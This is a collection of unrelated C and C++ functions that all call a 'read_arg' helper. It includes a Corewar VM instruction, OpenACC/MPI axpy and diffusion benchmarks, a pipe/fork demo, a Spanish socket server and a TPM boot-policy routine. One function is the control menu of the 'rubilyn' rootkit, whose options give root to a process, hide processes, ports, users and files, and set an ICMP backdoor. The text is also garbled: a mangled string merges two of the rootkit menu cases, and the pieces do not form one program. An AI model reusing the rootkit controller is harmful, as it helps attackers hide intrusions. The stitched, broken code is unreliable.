void st_inst(t_core *core, t_proc *proc, int inst)
{
unsigned char arg;
unsigned char codage;
unsigned int adr;
unsigned int reg_nb;
if (!(add_cd_check_valid(core, proc, inst)))
return ;
codage = core->map[(proc->pc + 1) % MEM_SIZE];
reg_nb = fit_reg(read_arg(core->map, proc->pc, inst, 1));
arg = what_arg(codage, 2);
if (arg == C_IND)
{
adr = pc_pos(proc->pc + read_arg(core->map, proc->pc, inst, 2));
write_to_map(core->map, proc->reg[reg_nb], adr);
core->vis_flag == 1 ? replace_field(adr, proc->colour_nbr, core) : 0;
}
else if (arg == C_REG)
write_to_reg(proc->reg[reg_nb],
read_arg(core->map, proc->pc, inst, 2), proc);
proc->prev_pc = proc->pc;
proc->pc = pc_pos(proc->pc + inst_size(inst, codage));
proc->cd = -1;
}
int
triple (int arg)
{
int
read_arg (void)
{
return arg;
}
int
parent (int nested_arg)
{
int
child1 (void)
{
return parent (zero (5));
}
int
child2 (void)
{
return nested_arg + read_arg ();
}
return (nested_arg == 0 ? 0 : child1 ()) + child2 ();
}
int main (int argc, char *argv[])
{
int pfd[2];
int nwrite;
pid_t cPid, pPid;
char psCmnd[40] = "ps -FC pipe";
char lsofCmndP[40] = "lsof -p";
char lsofCmndC[40] = "lsof -p";
/* read arguments for # of messages to process */
nwrite = read_arg(argc, argv);
pPid = getpid();
printf("Parent\'s PID = %d\n", pPid);
sprintf(lsofCmndP, "%s %d %s", lsofCmndP, pPid, "| grep FIFO");
/* create pipe */
if ( pipe(pfd) < 0 )
{
fatal("pipe call");
exit(1);
}
printf("\n-----------------------------------------------------------------------------\n");
printf("Parent's pipe after pipe() (\"%s\")\n", lsofCmndP);
system(lsofCmndP);
printf("-------------------------------------------------------------------------------\n\n");
printf("\n-----------------------------------------------------------------------------\n");
printf("Processes before fork() (\"%s\")\n", psCmnd);
system(psCmnd);
printf("-------------------------------------------------------------------------------\n\n");
/* create a child */
switch( fork() )
{
case -1: /* error */
fatal("fork call");
case 0: /* fork() returns 0 to child */
cPid = getpid();
printf("Child\'s PID = %d\n", cPid);
sprintf(lsofCmndC, "%s %d %s", lsofCmndC, cPid, "| grep FIFO");
printf("\n-----------------------------------------------------------------------------\n");
printf("Child's pipe after fork() (\"%s\")\n", lsofCmndC);
system(lsofCmndC);
printf("-------------------------------------------------------------------------------\n\n");
do_read(pfd, lsofCmndC);
break;
default: /* fork() returns child's pid to parent */
sleep(1);
printf("\n-----------------------------------------------------------------------------\n");
printf("Processes after fork() (\"%s\")\n", psCmnd);
system(psCmnd);
printf("-------------------------------------------------------------------------------\n\n");
do_write(pfd, nwrite, lsofCmndP);
}
}
// main function
int main(int argc, char *argv[]) {
if (read_arg(argc, argv) == false) {
return 1;
}
signal(SIGINT, handle_sigint);
if (is_print_bodies) print_bodies("[INPUT]");
step();
free_bodies();
return 0;
}
int main(int argc, char** argv)
{
size_t pow = read_arg(argc, argv, 1, 16);
size_t n = 1 << pow;
std::cout << "memcopy and daxpy test of size " << n << "\n";
double* x = malloc_host<double>(n, 1.5);
double* y = malloc_host<double>(n, 3.0);
// use dummy fields to avoid cache effects, which make results harder to
// interpret use 1<<24 to ensure that cache is completely purged for all n
double* x_ = malloc_host<double>(n, 1.5);
double* y_ = malloc_host<double>(n, 3.0);
// openmp version:
auto start = get_time();
axpy(n, 2.0, x_, y_);
auto time_axpy_omp = get_time() - start;
// openacc version:
start = get_time();
axpy_gpu(n, 2.0, x, y);
auto time_axpy_gpu = get_time() - start;
std::cout << "-------\ntimings\n-------\n";
std::cout << "axpy (openmp): " << time_axpy_omp << " s\n";
std::cout << "axpy (openacc): " << time_axpy_gpu << " s\n";
// check for errors
auto errors = 0;
#pragma omp parallel for reduction(+:errors)
for (auto i = 0; i < n; ++i) {
if (std::fabs(6.-y[i]) > 1e-15) {
++errors;
}
}
if (errors > 0) {
std::cout << "\n============ FAILED with " << errors << " errors\n";
} else {
std::cout << "\n============ PASSED\n";
}
free(x);
free(y);
return 0;
}
void run_app(t_app *app)
{
t_p_arg *tmp;
t_p_arg *tmp2;
read_arg(app);
check_invalide(app);
print_file(app);
tmp = (app->reverse_sort) ? app->last_p_arg : app->first_p_arg;
while (tmp)
{
tmp2 = (app->reverse_sort) ? tmp->previous : tmp->next;
push_path(app, tmp->path);
parcour(app);
pop_path(app);
free(tmp);
tmp = tmp2;
}
}
int main(int argc, char** argv) {
size_t pow = read_arg(argc, argv, 1, 16);
size_t n = 1 << pow;
size_t size_in_bytes = n * sizeof(double);
std::cout << "memcopy and daxpy test of size " << n << std::endl;
double* x = malloc_host<double>(n, 1.5);
double* y = malloc_host<double>(n, 3.0);
#ifdef FLUSH_CACHE
// use dummy fields to avoid cache effects, which make results harder to interpret
// use 1<<24 to ensure that cache is completely purged for all n
double* x_ = malloc_host<double>(1<<24, 1.5);
double* y_ = malloc_host<double>(1<<24, 3.0);
axpy(1<<24, 2.0, x_, y_);
#endif
double start = get_time();
axpy(n, 2.0, x, y);
double time_axpy = get_time() - start;
std::cout << "-------\ntimings\n-------" << std::endl;
std::cout << "axpy : " << time_axpy << " s" << std::endl;
std::cout << std::endl;
// check for errors
int errors = 0;
for(int i=0; i<n; ++i) {
if(std::fabs(6.-y[i])>1e-15) {
errors++;
}
}
if(errors>0) std::cout << "\n============ FAILED with " << errors << " errors" << std::endl;
else std::cout << "\n============ PASSED" << std::endl;
free(x);
free(y);
return 0;
}
int main(int argc, char** argv) {
// set up parameters
// first argument is the y dimension = 2^arg
size_t pow = read_arg(argc, argv, 1, 8);
// second argument is the number of time steps
size_t nsteps = read_arg(argc, argv, 2, 100);
// third argument is nonzero if shared memory version is to be used
bool use_shared = read_arg(argc, argv, 3, 0);
// set domain size
size_t nx = 128+2;
size_t ny = (1 << pow)+2;
double dt = 0.1;
std::cout << "\n## " << nx << "x" << ny
<< " for " << nsteps << " time steps"
<< " (" << nx*ny << " grid points)\n";
// allocate memory on device and host
// note : allocate enough memory for the halo around the boundary
auto buffer_size = nx*ny;
#ifdef OPENACC_DATA
double *x0 = malloc_host_pinned<double>(buffer_size);
double *x1 = malloc_host_pinned<double>(buffer_size);
#else
double *x_host = malloc_host_pinned<double>(buffer_size);
double *x0 = malloc_device<double>(buffer_size);
double *x1 = malloc_device<double>(buffer_size);
#endif
double start_diffusion, time_diffusion;
#ifdef OPENACC_DATA
#pragma acc data create(x0[0:buffer_size]) copyout(x1[0:buffer_size])
#endif
{
// set initial conditions of 0 everywhere
fill_gpu(x0, 0., buffer_size);
fill_gpu(x1, 0., buffer_size);
// set boundary conditions of 1 on south border
fill_gpu(x0, 1., nx);
fill_gpu(x1, 1., nx);
fill_gpu(x0+nx*(ny-1), 1., nx);
fill_gpu(x1+nx*(ny-1), 1., nx);
// time stepping loop
#pragma acc wait
start_diffusion = get_time();
for(auto step=0; step<nsteps; ++step) {
diffusion_gpu(x0, x1, nx-2, ny-2, dt);
#ifdef OPENACC_DATA
copy_gpu(x0, x1, buffer_size);
#else
std::swap(x0, x1);
#endif
}
#pragma acc wait
time_diffusion = get_time() - start_diffusion;
} // end of acc data
#ifdef OPENACC_DATA
auto x_res = x1;
#else
copy_to_host<double>(x0, x_host, buffer_size);
auto x_res = x_host;
#endif
std::cout << "## " << time_diffusion << "s, "
<< nsteps*(nx-2)*(ny-2) / time_diffusion << " points/second\n\n";
std::cout << "writing to output.bin/bov\n";
write_to_file(nx, ny, x_res);
return 0;
}
int main(int argc, char **argv) {
// Validacion y lectura de argumentos
if(argc != 13){
print_use();
exit(EXIT_FAILURE);
}
char * nombre_centro;
int suministro, puerto;
read_arg(argv,argc,&nombre_centro,&capacidad,&inventario,&suministro,&puerto,&tiempo);
if (!valid_arg(nombre_centro,capacidad,inventario,suministro,tiempo))
exit(EXIT_FAILURE);
log_file_name = (char *) malloc(strlen(nombre_centro)+8);
sprintf(log_file_name,"log_%s.txt",nombre_centro);
log_file = fopen(log_file_name,"w");
if(!log_file) {
printf("Error: no se pudo crear el archivo log el archivo\n.");
exit(EXIT_FAILURE);
}
fprintf(log_file,"Inventario inicial: %d litros.\n",inventario);
pthread_attr_init(&attr1);
pthread_attr_setdetachstate(&attr1,PTHREAD_CREATE_JOINABLE);
if (pthread_create(&thread_inv, &attr1, inventario_suministro, (void *) suministro)) {
printf("Error: no se pudo crear el hilo para controlar el inventario.");
exit(EXIT_FAILURE);
}
pthread_attr_init(&attr2);
pthread_attr_setdetachstate(&attr2,PTHREAD_CREATE_JOINABLE);
if (pthread_create(&thread_func, &attr2, tiempo_funcionamiento,NULL)) {
printf("Error: no se pudo crear el hilo para controlar el funcionamiento.");
exit(EXIT_FAILURE);
}
signal(SIGUSR1,finish);
pthread_attr_init(&attr3);
pthread_attr_setdetachstate(&attr3,PTHREAD_CREATE_JOINABLE);
if (pthread_create(&thread_exit, &attr3, tiempo_exit,NULL)) {
printf("Error: no se pudo crear el hilo para salida.");
exit(EXIT_FAILURE);
}
int newSocketID;
socklen_t addrlen;
struct sockaddr_in dirServ, dirCli;
char buffer[256];
pthread_t h;
if (pthread_mutex_init(&mtx, NULL) !=0) {
error("Error mutex");
}
socketID = socket(AF_INET,SOCK_STREAM,0);
if (socketID == 0) {
error("Error abriendo el socket");
}
bzero((char*)&dirServ,sizeof(dirServ));
dirServ.sin_family = AF_INET;
dirServ.sin_port = htons(puerto);
dirServ.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(socketID,(struct sockaddr *)&dirServ,sizeof(dirServ)) < 0 ) {
error("Error en la conexion");
}
listen(socketID,5);
addrlen = sizeof(dirCli);
while (TRUE) {
newSocketID = accept(socketID,(struct sockaddr *)&dirCli,&addrlen);
if (newSocketID < 0) {
error("Error aceptando la conexion");
}
pthread_create(&h,NULL,procesarPeticion, (void *)newSocketID);
}
}
int add_image_kernelpolicy(void * p_pcrs, char * mountpoint,char * image_desc)
{
char *boot_file_list[]={
"/boot/grub/grub.conf",
"/boot/grub/menu.lst",
NULL
};
struct tcm_pcr_set * pcrs=p_pcrs;
FILE * fp;
char *file_arg[MAX_ARG_NUM];
char filename[512];
char kernelname[256];
char initrdname[256];
int retval;
int i;
char digest[DIGEST_SIZE];
char desc[512];
for(i=0;boot_file_list[i]!=NULL;i++)
{
sprintf(filename,"%s/%s",mountpoint,boot_file_list[i]);
fp=fopen(filename,"r");
if(fp!=NULL)
break;
}
if(boot_file_list[i]==NULL)
{
printf("can't find image %s's boot file\n ",image_desc);
return -EINVAL;
}
file_arg[0]=malloc(MAX_LINE_LEN);
if(file_arg[0]==NULL)
return -ENOMEM;
do {
retval=read_arg(fp,file_arg);
if(retval<0)
break;
if(retval==0)
continue;
if(strcmp(file_arg[0],"kernel")!=0)
continue;
strncpy(kernelname,file_arg[1],256);
retval=read_arg(fp,file_arg);
if(retval<0)
break;
if(retval==0)
continue;
if(strcmp(file_arg[0],"initrd")!=0)
continue;
strncpy(initrdname,file_arg[1],256);
sprintf(desc,"image %s 's kernel digest",image_desc);
pcrs->policy_describe=dup_str(desc,0);
sprintf(filename,"%s/%s",mountpoint,kernelname);
calculate_sm3(filename,digest);
add_pcr_to_set(pcrs,KERNEL_PCR_INDEX,digest);
sprintf(filename,"%s/%s",mountpoint,initrdname);
calculate_sm3(filename,digest);
add_pcr_to_set(pcrs,KERNEL_PCR_INDEX,digest);
break;
}while(1);
return 0;
}
void
readinput(register pb_t *ppb)
{
register int i;
resp_t *rp;
/*
** Top Loop.
** Executed once for each complete block read. Normally
** only executed once, but can be more if an error
** block is read.
**
** We mark Qbuf first, so we can free any parameters
** when they are no longer needed (such as when they
** are passed to another process).
*/
Ctx.ctx_pmark = markbuf(Qbuf);
#ifdef xCTR1
if (tTf(10, 0))
lprintf("readinput: mark %d, errfn %x, ppb %x\n", Ctx.ctx_pmark, Ctx.ctx_errfn, ppb);
#endif
rp = getresp();
for (;;) {
/* prime the input (reads first block) */
pb_prime(ppb, PB_NOTYPE);
#ifdef xCTR2
if (tTf(10, 1))
lprintf("readinput: type %d\n", ppb->pb_type);
#endif
/* if this is a response block, return immediately */
if (ppb->pb_type == PB_RESP) {
i = pb_get(ppb, (char *) rp, sizeof(resp_t));
if (i != sizeof(resp_t))
syserr("readinput: resp_t sz %d", i);
/*
read_arg(ppb, &rp->resp_rval);
*/
break;
}
/*
** Parameter Loop.
** Wander through and start reading parameters.
*/
for (Ctx.ctx_pc = 0; Ctx.ctx_pc < PV_MAXPC; Ctx.ctx_pc++) {
if (read_arg(ppb, &Ctx.ctx_pv[Ctx.ctx_pc]) == PV_EOF)
break;
}
/* out of loop, check for vector overflow */
if (Ctx.ctx_pc >= PV_MAXPC)
syserr("readinput: overflow");
/* check for error blocks */
if (ppb->pb_type == PB_ERR) {
proc_err(ppb, Ctx.ctx_pc, Ctx.ctx_pv);
syserr("readinput: proc_err");
}
/* non-error block */
#ifdef xCM_DEBUG
if (ppb->pb_type != PB_REG)
syserr("readinput: pb_type %d", ppb->pb_type);
#endif
Ctx.ctx_resp = ppb->pb_resp;
break;
}
#ifdef xCTR1
if (tTf(10, 4)) {
lprintf("readinput: ");
pb_dump(ppb, FALSE);
}
#endif
}
void main_menu(){
char str;
char arg[MAXLEN];
do{
memset(arg,0,MAXLEN);
memcpy(arg,"debug.rubilyn.",strlen("debug.rubilyn."));
printf("--> ");
str = getchar();
switch(str){
case '1':
printf("enter process id to give root: ");
strcat(arg,"pid=");
strcat(arg,read_arg());
execute(arg);
break;
case '2':
printf("enter process id to hide: ");
strcat(arg,"pid2=");
strcat(arg,read_arg());
execute(arg);
printf("warning!! do not kill a hidden process or face the wrath of mach_task!\n");
break;
case '3':
printf("enter process id to unhide: ");
strcat(arg,"pid3=");
strcat(arg,read_arg());
execute(arg);
break;
case '4':
printf("enter network port to hide: ");
strcat(arg,"port=");
strcat(arg,read_arg());
execute(arg);
break;
case '5':
printf("enter username to hide: ");
strcat(arg,"user="******"enter string to hide on file system: ");
strcat(arg,"dir=");
strcat(arg,read_arg());
execute(arg);
break;
case '7':
printf("enter icmp path for backdoor: ");
strcat(arg,"cmd=");
strcat(arg,read_arg());
execute(arg);
break;
case '8':
printf("not ready yet\n");
break;
case '9':
printf("not ready yet");
break;
case 'h':
print_menu();
break;
case '?':
print_menu();
break;
case 'q':
exit(0);
break;
case 'x':
exit(0);
break;
default:
printf("Invalid selection\n");
break;
}
}
while(getchar() != '\n');
}
int main(int argc, char** argv) {
// set up parameters
// first argument is the y dimension = 2^arg
size_t pow = read_arg(argc, argv, 1, 8);
// second argument is the number of time steps
size_t nsteps = read_arg(argc, argv, 2, 100);
// third argument is nonzero if shared memory version is to be used
bool use_shared = read_arg(argc, argv, 3, 0);
// set domain size
size_t nx = 128;
size_t ny = 1 << pow;
double dt = 0.1;
// initialize MPI
int mpi_rank, mpi_size;
MPI_Init(&argc, &argv);
MPI_Comm_rank(MPI_COMM_WORLD, &mpi_rank);
MPI_Comm_size(MPI_COMM_WORLD, &mpi_size);
if (ny % mpi_size) {
std::cout << "error : global domain dimension " << ny
<< "must be divisible by number of MPI ranks "
<< mpi_size << "\n";
exit(1);
} else if (mpi_rank == 0) {
std::cout << "\n## " << mpi_size << " MPI ranks" << std::endl;
std::cout << "## " << nx << "x" << ny
<< " : " << nx << "x" << ny/mpi_size << " per rank"
<< " for " << nsteps << " time steps"
<< " (" << nx*ny << " grid points)\n";
}
ny /= mpi_size;
// adjust dimensions for halo
nx += 2;
ny += 2;
// allocate memory on device and host
// note : allocate enough memory for the halo around the boundary
auto buffer_size = nx*ny;
#ifdef OPENACC_DATA
double *x0 = malloc_host_pinned<double>(buffer_size);
double *x1 = malloc_host_pinned<double>(buffer_size);
#else
double *x_host = (double *) malloc(buffer_size*sizeof(double));
// double *x_host = malloc_host_pinned<double>(buffer_size);
double *x0 = malloc_device<double>(buffer_size);
double *x1 = malloc_device<double>(buffer_size);
#endif
double start_diffusion, time_diffusion;
#ifdef OPENACC_DATA
// TODO: move data to the GPU
#endif
{
// set initial conditions of 0 everywhere
fill_gpu(x0, 0., buffer_size);
fill_gpu(x1, 0., buffer_size);
// set boundary conditions of 1 on south border
if (mpi_rank == 0) {
fill_gpu(x0, 1., nx);
fill_gpu(x1, 1., nx);
}
if (mpi_rank == mpi_size-1) {
fill_gpu(x0+nx*(ny-1), 1., nx);
fill_gpu(x1+nx*(ny-1), 1., nx);
}
auto south = mpi_rank - 1;
auto north = mpi_rank + 1;
// time stepping loop
#pragma acc wait
start_diffusion = get_time();
for(auto step=0; step<nsteps; ++step) {
MPI_Request requests[4];
MPI_Status statuses[4];
auto num_requests = 0;
#ifdef OPENACC_DATA
// TODO: There are two ways to communicate:
// 1. Update the host copy first and then communicate
// 2. Use the optimised RDMA data path
#endif
{
if (south >= 0) {
// x0(:, 0) <- south
MPI_Irecv(x0, nx, MPI_DOUBLE, south, 0, MPI_COMM_WORLD,
&requests[0]);
// x0(:, 1) -> south
MPI_Isend(x0+nx, nx, MPI_DOUBLE, south, 0, MPI_COMM_WORLD,
&requests[1]);
num_requests += 2;
}
// exchange with north
if(north < mpi_size) {
// x0(:, ny-1) <- north
MPI_Irecv(x0+(ny-1)*nx, nx, MPI_DOUBLE, north, 0,
MPI_COMM_WORLD, &requests[num_requests]);
// x0(:, ny-2) -> north
MPI_Isend(x0+(ny-2)*nx, nx, MPI_DOUBLE, north, 0,
MPI_COMM_WORLD, &requests[num_requests+1]);
num_requests += 2;
}
}
MPI_Waitall(num_requests, requests, statuses);
diffusion_gpu(x0, x1, nx-2, ny-2, dt);
#ifdef OPENACC_DATA
copy_gpu(x0, x1, buffer_size);
#else
std::swap(x0, x1);
#endif
}
#pragma acc wait
time_diffusion = get_time() - start_diffusion;
} // end of acc data
#ifdef OPENACC_DATA
auto x_res = x1;
#else
copy_to_host<double>(x0, x_host, buffer_size);
auto x_res = x_host;
#endif
if (mpi_rank == 0) {
std::cout << "## " << time_diffusion << "s, "
<< nsteps*(nx-2)*(ny-2)*mpi_size / time_diffusion
<< " points/second\n\n";
std::cout << "writing to output.bin/bov\n";
write_to_file(nx, ny, x_res);
}
MPI_Finalize();
return 0;
}